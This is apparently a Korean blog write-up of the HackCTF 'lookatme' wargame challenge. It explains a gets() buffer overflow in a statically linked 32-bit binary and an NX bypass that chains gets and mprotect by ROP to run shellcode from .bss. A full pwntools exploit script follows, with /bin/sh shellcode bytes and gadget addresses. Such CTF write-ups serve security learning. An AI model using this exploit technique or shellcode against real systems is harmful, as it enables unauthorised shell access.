file 명령어로 문제 바이너리를 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.
또한 statically linked 형식의 바이너리임을 확인할 수 있다. 따라서 함수 목록을 보면 매우 많은 함수들이 있는것도 확인할 수 있다.
checksec 명령으로 적용된 보호기법을 보면 nx가 적용되어 있는 것을 확인할 수 있다.
gdb로 main 함수를 확인하면 다음과 같다.
main 함수에서 look_at_me 라는 함수를 실행하고 있다. IDA 헥스레이로 main 함수와 look_at_me 함수를 확인하면 다음과 같다.
main 함수에서 look_at_me() 함수를 호출하고, look_at_me() 함수의 gets 함수에서 bof 취약점이 발생한다.
nx 보호기법이 적용되어 있어서 쉘 코드 실행 권한도 없고, system 함수를 호출하는 부분도 없었다.
그러나 다음과 같이 mprotect 함수가 있는것을 확인할 수 있었다.
mprotect 함수는 메모리에 대한 접근을 제어하는 함수로 인자로 접근제어할 주소, 주소 기준으로 제어할 길이, 접근 제어 권한 3개의 인자를 받는다. mprotect 함수를 통해 접근제어되어 있는 메모리에도 권한을 부여할 수 있어서 nx 보호기법이 우회가 가능하다.
따라서 문제를 해결하기 위해 ROP기법을 이용하여 gets() 함수를 호출하여 .bss 영역에 쉘코드를 넣고 mprotect() 함수를 호출하여 .bss 영역에 실행권한을 주면 된다.
작성한 익스코드는 다음과 같다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")
bss = e.bss()
bss000 = 0x80ea000
pr = 0x080bb0b8
pppr = 0x080bacfe
gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
pay = "A" * 28
pay += p32(gets_addr)
pay += p32(pr)
pay += p32(bss)
pay += p32(mprotect_addr)
pay += p32(pppr)
pay += p32(bss000)
pay += p32(10000)
pay += p32(7)
pay += p32(bss)
p.sendline(pay)
p.sendline(shell)
p.interactive()
mprotect 첫번째 인자로 000 으로 끝나는 주소를 사용하는 것은 mprotect 함수의 첫번째 인자 주소는 0x1000의 배수여야 하기 때문이다.
익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.
'Security & Hacking > Wargame' 카테고리의 다른 글
[HackCTF] RTC (0) | 2021.10.06 |
---|---|
[HackCTF] Yes or no (0) | 2021.08.23 |
[HackCTF] RTL_Core (0) | 2021.07.30 |
[HackCTF] Random Key (0) | 2021.07.28 |
[HackCTF] Poet (0) | 2021.07.27 |